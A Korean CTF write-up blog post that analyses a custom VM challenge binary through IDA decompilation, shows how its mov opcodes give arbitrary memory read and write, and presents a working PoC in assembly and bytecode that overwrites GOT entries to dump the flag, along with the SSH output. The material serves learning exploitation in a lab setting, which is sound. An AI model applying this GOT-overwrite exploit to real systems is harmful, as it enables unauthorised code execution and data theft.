반응형

IDA CODE VCPU Line 27

  fp = fopen(file_path, "rb");
  if ( !fp )
  {
    puts("\nFILE ERROR!!");
    printf("FILE : %s\n", file_path);
    exit(1);
  }
  fread(fbuf, 1u, 0x10000u, fp);
  if ( DBG_FLG )
    puts("[+] FILE READING...");
  memcpy(CODE, fbuf, 0x10000u);
  if ( DBG_FLG )
    puts("[*] INSERT COMPLETE\n");
  close((int)fp);
  regi->_EIP = (OPCODE *)CODE;
  if ( DBG_FLG )
    printf("[+] EIP SET : 0x%08x\n", regi->_EIP);

  /* 생략 */

  while ( 1 )
  {
    do
    {
      opcodes[v0->INS]((char)v0->MOD, v0->OPT1, v0->OPT2);
      v0 = regi->_EIP;
    }


분석을 하면 고맙게도 strip을 하지 않은 것을 알 수 있다.

일단 바이너리는 온몸을 다해서 자신이 VM이라는 것을 말하고 있는데


IDA CODE mov_8

void __cdecl mov_8(_DWORD *a1, int a2)
{
  *a1 = a2;
  if ( DBG_FLG )
    printf("[*] MOV RESULT : %08x,%08x\n", *a1, a2);
}


여기를 분석하면 mov [OPT1]. OPT2 가 되어

원하는 주소에 값을 넣을 수 있다.


IDA CODE mov_6

int __cdecl mov_6(_DWORD *a1, _DWORD *a2)
{
  int result; // eax@1

  *a1 = *a2;
  result = (unsigned __int8)DBG_FLG;
  if ( DBG_FLG )
    result = printf("[*] MOV RESULT : %08x,%08x\n", *a1, *a2);
  return result;
}

IDA CODE mov_1

int __cdecl mov_1(int a1, _DWORD *a2)
{
  int result; // eax@1

  *(&regi->_EAX + a1) = *a2;
  result = (unsigned __int8)DBG_FLG;
  if ( DBG_FLG )
    result = printf("[*] MOV RESULT : %08x,%08x\n", *(&regi->_EAX + a1), a2);
  return result;
}


또한 mov_6에서는 mov [OPT1], [OPT2]

mov_1 은 mov REG[OPT1], [OPT2]

와 같이 메모리의 값을 가져 올 수 있다


syscall 함수에서 read, write 함수를 호출 하므로

read GOT와 write GOT를 덮어 씌워 주면 flag가?


cat: flag: Permission denied


???????

여기서 던짐 각이 나왔다.

원인은 setuid를 한게 아닌 setgid를 해서

권한이 없다는 것이다.


그래서 밥먹고 다시 생각해 보니


1. file_path를 flag로 맞춘다

2. memcpy를 write로 바꾼다

3. CODE를 01로 바꾼다

4. read를 VCPU+0x17D로 바꾼다

5. syscall read를 호출한다

6. ??????

7, PROFIT!


GOT를 VCPU에 있는 memcpy가

memcpy(CODE, fbuf, 0x10000u);

write(01, fbuf, 0x10000u);

가 되면서 플래그를 뿌려 줄 것이다

POC Code
mov [0x804d140],0x67616c66
mov [0x804d144],0x00000000


mov [0x804D018],[0x804D034]
mov [0x804D010],0x8048970
mov [0x0804D1B4], 01
syscall read

Byte Code

0000140040d10408666c6167
0000140044d1040800000000
0000110018d0040834d00408
0000140010d0040870890408
00001400b4d1040801000000
180000000000000000000000

SSH

VM@ip-172-31-17-183:~$ ./VM -f /tmp/lol/tmp
H3X0R{TH15_15_5T4G3_0N3}
4´Segmentation fault (core dumped)
VM@ip-172-31-17-183:~$


'CTF' 카테고리의 다른 글

DoubleS1405 Write UP  (0) 2017.04.01
Codegate2017 prequals Writeup  (0) 2017.02.15
PlaidCTF 2016 quick  (0) 2016.04.18
CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19

+ Recent posts